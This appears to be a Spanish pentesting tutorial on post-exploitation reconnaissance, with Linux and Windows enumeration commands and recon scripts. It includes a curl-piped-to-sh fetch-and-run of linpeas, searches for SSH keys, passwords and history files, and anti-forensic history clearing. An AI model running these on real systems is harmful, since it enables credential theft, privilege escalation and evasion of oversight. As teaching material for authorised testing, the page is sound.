Skip to content

Reconocimiento Post-Explotación

El reconocimiento post-explotación es una fase crítica del pentesting que se ejecuta inmediatamente después de obtener acceso inicial a un sistema. Su objetivo principal es recopilar información detallada sobre el sistema comprometido para identificar vectores de escalación de privilegios, movimiento lateral y persistencia.

  • Escalación de privilegios: Identificar rutas para obtener privilegios administrativos
  • Comprensión del entorno: Mapear la infraestructura y servicios
  • Movimiento lateral: Encontrar rutas hacia otros sistemas
  • Persistencia: Identificar métodos para mantener acceso
  • Exfiltración de datos: Localizar información sensible

Fases del Reconocimiento Post-Explotación

Section titled “Fases del Reconocimiento Post-Explotación”
  1. Situational Awareness: ¿Dónde estoy y quién soy?
  2. System Enumeration: ¿Qué hay en este sistema?
  3. Privilege Escalation: ¿Cómo puedo obtener más privilegios?
  4. Network Discovery: ¿Qué más hay en la red?
  5. Data Discovery: ¿Qué información valiosa existe?
Terminal window
# Información básica del usuario actual
whoami
id
groups
# Información del sistema
hostname
uname -a
cat /etc/os-release
# Ubicación actual
pwd
ls -la
# Variables de entorno
env
echo $PATH
echo $HOME
Terminal window
# Usuarios del sistema
cat /etc/passwd
cat /etc/group
w
who
last
# Procesos en ejecución
ps aux
ps -ef
pstree
# Servicios y puertos
netstat -antup
ss -tulpn
systemctl list-units --type=service --state=running

Fase 3: Búsqueda de Vectores de Escalación

Section titled “Fase 3: Búsqueda de Vectores de Escalación”
Terminal window
# Archivos SUID/SGID
find / -perm -u=s -type f 2>/dev/null
find / -perm -g=s -type f 2>/dev/null
# Capabilities
getcap -r / 2>/dev/null
# Sudo permissions
sudo -l
# Archivos escribibles
find / -writable -type f 2>/dev/null | grep -v proc
find / -perm -002 -type f 2>/dev/null
# Tareas cron
cat /etc/crontab
ls -la /etc/cron.*
crontab -l
Terminal window
# Interfaces de red
ip addr show
ifconfig -a
# Tabla de rutas
ip route show
route -n
# Conexiones de red
netstat -rn
arp -a
# Escaneo de red local
for i in {1..254}; do ping -c 1 192.168.1.$i >/dev/null 2>&1 && echo "192.168.1.$i is up"; done
Terminal window
# Descarga y ejecución básica
wget https://github.com/diego-treitos/linux-smart-enumeration/releases/latest/download/lse.sh
chmod +x lse.sh
./lse.sh -l 2
# Niveles de enumeración
./lse.sh -l 0 # Básico (30 seg)
./lse.sh -l 1 # Intermedio (2 min)
./lse.sh -l 2 # Completo (5 min)

Ventajas de LSE:

  • Salida colorizada y organizada
  • Múltiples niveles de profundidad
  • Detección inteligente de vectores de escalación
  • Sin dependencias externas
Terminal window
# Descarga y ejecución
wget https://github.com/DominicBreuker/pspy/releases/download/v1.2.1/pspy64
chmod +x pspy64
./pspy64
# Monitoreo con archivos
./pspy64 -pf
# Intervalo personalizado
./pspy64 -i 1000

Ventajas de Pspy:

  • Monitoreo en tiempo real de procesos
  • No requiere privilegios root
  • Detecta procesos ejecutados por otros usuarios
  • Útil para identificar tareas cron ocultas
Terminal window
# Descarga y ejecución
curl -L https://github.com/carlospolop/PEASS-ng/releases/latest/download/linpeas.sh | sh
# Ejecución con opciones
./linpeas.sh -a # All checks
./linpeas.sh -s # Superfast
./linpeas.sh -P # Password search
Terminal window
# Descarga y ejecución
wget https://raw.githubusercontent.com/rebootuser/LinEnum/master/LinEnum.sh
chmod +x LinEnum.sh
./LinEnum.sh
# Con opciones específicas
./LinEnum.sh -s -k password -r report -e /tmp/
Terminal window
# Archivos de configuración
find /etc -name "*.conf" -type f 2>/dev/null
find /etc -name "*.cfg" -type f 2>/dev/null
find /etc -name "*.ini" -type f 2>/dev/null
# Archivos con contraseñas
grep -r "password" /etc/ 2>/dev/null
grep -r "passwd" /etc/ 2>/dev/null
grep -r "pwd" /etc/ 2>/dev/null
# Claves SSH
find / -name "id_rsa" 2>/dev/null
find / -name "id_dsa" 2>/dev/null
find / -name "*.pem" 2>/dev/null
# Archivos de base de datos
find / -name "*.db" 2>/dev/null
find / -name "*.sqlite" 2>/dev/null
find / -name "*.sql" 2>/dev/null
# Logs del sistema
find /var/log -type f -readable 2>/dev/null
Terminal window
# Servicios systemd
systemctl list-units --type=service
systemctl list-unit-files --type=service
# Servicios SysV
service --status-all
chkconfig --list
# Análisis de puertos internos
netstat -antup | grep LISTEN
ss -tulpn | grep LISTEN
# Procesos con puertos
lsof -i
fuser -v 22/tcp
Terminal window
# Información de memoria
free -h
cat /proc/meminfo
# Procesos por uso de CPU
top -n 1
htop
# Procesos por usuario
ps aux --sort=-%cpu
ps aux --sort=-%mem
# Árbol de procesos
pstree -p
ps axjf
#!/bin/bash
# full_recon.sh - Reconocimiento post-explotación completo
OUTPUT_DIR="post_exploit_recon_$(date +%Y%m%d_%H%M%S)"
mkdir -p $OUTPUT_DIR
echo "[+] Iniciando reconocimiento post-explotación completo"
echo "[+] Resultados en: $OUTPUT_DIR"
# Información básica
echo "[+] Recopilando información básica..."
{
echo "=== INFORMACIÓN BÁSICA ==="
echo "Usuario actual: $(whoami)"
echo "ID: $(id)"
echo "Hostname: $(hostname)"
echo "Fecha: $(date)"
echo "Uptime: $(uptime)"
echo ""
echo "=== SISTEMA OPERATIVO ==="
uname -a
cat /etc/os-release 2>/dev/null || cat /etc/issue
echo ""
} > $OUTPUT_DIR/basic_info.txt
# Usuarios y grupos
echo "[+] Enumerando usuarios y grupos..."
{
echo "=== USUARIOS ==="
cat /etc/passwd
echo ""
echo "=== GRUPOS ==="
cat /etc/group
echo ""
echo "=== USUARIOS CONECTADOS ==="
w
who
last | head -20
} > $OUTPUT_DIR/users_groups.txt
# Procesos y servicios
echo "[+] Analizando procesos y servicios..."
{
echo "=== PROCESOS ==="
ps aux
echo ""
echo "=== SERVICIOS SYSTEMD ==="
systemctl list-units --type=service --state=running 2>/dev/null
echo ""
echo "=== PUERTOS ABIERTOS ==="
netstat -antup 2>/dev/null || ss -tulpn
} > $OUTPUT_DIR/processes_services.txt
# Búsqueda de vectores de escalación
echo "[+] Buscando vectores de escalación..."
{
echo "=== ARCHIVOS SUID ==="
find / -perm -u=s -type f 2>/dev/null
echo ""
echo "=== ARCHIVOS SGID ==="
find / -perm -g=s -type f 2>/dev/null
echo ""
echo "=== CAPABILITIES ==="
getcap -r / 2>/dev/null
echo ""
echo "=== SUDO PERMISSIONS ==="
sudo -l 2>/dev/null
echo ""
echo "=== ARCHIVOS ESCRIBIBLES ==="
find / -writable -type f 2>/dev/null | grep -v proc | head -50
} > $OUTPUT_DIR/privilege_escalation.txt
# Información de red
echo "[+] Recopilando información de red..."
{
echo "=== INTERFACES ==="
ip addr show 2>/dev/null || ifconfig -a
echo ""
echo "=== RUTAS ==="
ip route show 2>/dev/null || route -n
echo ""
echo "=== ARP TABLE ==="
arp -a
echo ""
echo "=== CONEXIONES ==="
netstat -rn 2>/dev/null
} > $OUTPUT_DIR/network_info.txt
# Archivos sensibles
echo "[+] Buscando archivos sensibles..."
{
echo "=== ARCHIVOS DE CONFIGURACIÓN ==="
find /etc -name "*.conf" -type f 2>/dev/null | head -20
echo ""
echo "=== CLAVES SSH ==="
find / -name "id_rsa" -o -name "id_dsa" -o -name "*.pem" 2>/dev/null
echo ""
echo "=== ARCHIVOS CON CONTRASEÑAS ==="
grep -r "password" /etc/ 2>/dev/null | head -10
echo ""
echo "=== HISTORIAL ==="
find /home -name ".bash_history" 2>/dev/null
find /home -name ".zsh_history" 2>/dev/null
} > $OUTPUT_DIR/sensitive_files.txt
# Tareas cron
echo "[+] Analizando tareas cron..."
{
echo "=== CRONTAB GLOBAL ==="
cat /etc/crontab 2>/dev/null
echo ""
echo "=== CRON DIRECTORIES ==="
ls -la /etc/cron.* 2>/dev/null
echo ""
echo "=== USER CRONTABS ==="
for user in $(cut -f1 -d: /etc/passwd); do
crontab -u $user -l 2>/dev/null && echo "--- $user ---"
done
} > $OUTPUT_DIR/cron_analysis.txt
echo "[+] Reconocimiento completado en: $OUTPUT_DIR"
echo "[+] Archivos generados:"
ls -la $OUTPUT_DIR
#!/bin/bash
# quick_recon.sh - Reconocimiento rápido (menos de 1 minuto)
echo "=== RECONOCIMIENTO RÁPIDO POST-EXPLOTACIÓN ==="
echo "Fecha: $(date)"
echo "Usuario: $(whoami) | ID: $(id)"
echo "Sistema: $(uname -a)"
echo ""
echo "=== TOP 10 PROCESOS POR CPU ==="
ps aux --sort=-%cpu | head -11
echo ""
echo "=== ARCHIVOS SUID CRÍTICOS ==="
find / -perm -u=s -type f 2>/dev/null | grep -E "(nmap|vim|find|bash|sh|python|perl|ruby|gdb|ftp|ncat|nc|netcat)" | head -10
echo ""
echo "=== SUDO PERMISSIONS ==="
sudo -l 2>/dev/null | head -10
echo ""
echo "=== SERVICIOS EN PUERTOS COMUNES ==="
netstat -antup 2>/dev/null | grep -E ":22|:80|:443|:21|:23|:25|:53|:110|:143|:993|:995|:3306|:5432|:1433|:3389" | head -10
echo ""
echo "=== INTERFACES DE RED ==="
ip addr show 2>/dev/null | grep -E "inet |UP," | head -10
echo ""
echo "=== ARCHIVOS ESCRIBIBLES EN /ETC ==="
find /etc -writable -type f 2>/dev/null | head -5
echo ""
echo "=== RECONOCIMIENTO RÁPIDO COMPLETADO ==="
container_recon.sh
#!/bin/bash
echo "[+] Detectando si estamos en un contenedor..."
# Verificar indicadores de contenedor
if [ -f "/.dockerenv" ]; then
echo "[+] Docker container detectado"
CONTAINER_TYPE="docker"
elif grep -q "lxc\|docker" /proc/1/cgroup 2>/dev/null; then
echo "[+] Contenedor detectado via cgroup"
CONTAINER_TYPE="container"
else
echo "[-] No se detectó contenedor"
CONTAINER_TYPE="host"
fi
if [ "$CONTAINER_TYPE" != "host" ]; then
echo "[+] Análisis específico de contenedor..."
# Capabilities del contenedor
echo "=== CAPABILITIES ==="
capsh --print 2>/dev/null
# Montajes sospechosos
echo "=== MONTAJES ==="
mount | grep -E "(proc|sys|dev)"
# Verificar escape potencial
echo "=== HERRAMIENTAS DE ESCAPE ==="
which docker runc kubectl 2>/dev/null
# Verificar privilegios
echo "=== PRIVILEGIOS ==="
id
cat /proc/self/status | grep Cap
fi
windows_recon.ps1
Write-Host "[+] Reconocimiento Windows Post-Explotación"
# Información básica
Write-Host "=== INFORMACIÓN BÁSICA ==="
whoami
whoami /priv
systeminfo | findstr /B /C:"OS Name" /C:"OS Version" /C:"System Type"
# Usuarios y grupos
Write-Host "=== USUARIOS LOCALES ==="
net user
net localgroup administrators
# Servicios
Write-Host "=== SERVICIOS ==="
Get-Service | Where-Object {$_.Status -eq "Running"} | Select-Object Name, Status | Format-Table
# Procesos
Write-Host "=== PROCESOS ==="
Get-Process | Sort-Object CPU -Descending | Select-Object -First 10
# Red
Write-Host "=== INFORMACIÓN DE RED ==="
ipconfig /all
netstat -an | findstr LISTENING
# Archivos interesantes
Write-Host "=== ARCHIVOS INTERESANTES ==="
dir C:\Users\*\Desktop\*.txt
dir C:\Users\*\Documents\*.txt
lse_pspy_combo.sh
#!/bin/bash
echo "[+] Ejecutando LSE + Pspy en paralelo"
# Ejecutar LSE en background
./lse.sh -l 2 > lse_results.txt 2>&1 &
LSE_PID=$!
# Ejecutar Pspy por 5 minutos
timeout 300 ./pspy64 -pf > pspy_results.txt 2>&1 &
PSPY_PID=$!
# Esperar a que termine LSE
wait $LSE_PID
echo "[+] LSE completado"
# Esperar a Pspy
wait $PSPY_PID
echo "[+] Pspy completado"
# Generar reporte combinado
echo "[+] Generando reporte combinado..."
{
echo "=== REPORTE COMBINADO LSE + PSPY ==="
echo "Fecha: $(date)"
echo ""
echo "=== RESUMEN LSE ==="
grep -E "\[!\]|\[i\]" lse_results.txt | head -20
echo ""
echo "=== PROCESOS ÚNICOS DETECTADOS POR PSPY ==="
grep "CMD:" pspy_results.txt | sort -u | head -20
echo ""
echo "=== PROCESOS COMO ROOT ==="
grep "UID=0" pspy_results.txt | head -10
} > combined_report.txt
echo "[+] Reporte combinado generado: combined_report.txt"
Terminal window
# Estructura recomendada de directorios
mkdir -p recon_$(date +%Y%m%d_%H%M%S)/{basic,users,processes,network,files,escalation}
# Nomenclatura de archivos
# basic_info_YYYYMMDD_HHMMSS.txt
# users_enum_YYYYMMDD_HHMMSS.txt
# network_discovery_YYYYMMDD_HHMMSS.txt
Terminal window
# Usar comandos nativos del sistema
ps aux > /tmp/.hidden_processes
cat /etc/passwd > /tmp/.users_backup
# Limpiar historial
history -c
unset HISTFILE
export HISTFILESIZE=0
export HISTSIZE=0
# Usar ubicaciones temporales
cd /dev/shm
cd /tmp
Terminal window
# Template de reporte
cat > recon_template.txt << 'EOF'
=== REPORTE DE RECONOCIMIENTO POST-EXPLOTACIÓN ===
Fecha: $(date)
Sistema: $(hostname)
Usuario: $(whoami)
HALLAZGOS CRÍTICOS:
- [ ] Archivos SUID vulnerables
- [ ] Sudo sin contraseña
- [ ] Archivos escribibles críticos
- [ ] Servicios vulnerables
- [ ] Credenciales en texto plano
VECTORES DE ESCALACIÓN IDENTIFICADOS:
1.
2.
3.
RECOMENDACIONES:
1.
2.
3.
PRÓXIMOS PASOS:
1.
2.
3.
EOF
  • LSE: Linux Smart Enumeration
  • Pspy: Process monitoring without root
  • LinPEAS: Privilege Escalation Awesome Scripts
  • LinEnum: Linux enumeration script
  • Unix-privesc-check: Unix privilege escalation checker
  • BeRoot: Windows/Linux privilege escalation tool
  • GTFOBins - Unix binaries for privilege escalation
  • LOLBAS - Living Off The Land Binaries and Scripts
  • WADComs - Windows/AD commands
  • HackTricks - Pentesting methodology

⚠️ IMPORTANTE: Esta documentación es únicamente para fines educativos y de investigación en ciberseguridad. El reconocimiento post-explotación debe realizarse exclusivamente en:

  • Sistemas propios
  • Entornos de laboratorio
  • Pruebas de penetración autorizadas

El uso no autorizado puede constituir un delito. Los autores no se hacen responsables del mal uso de esta información.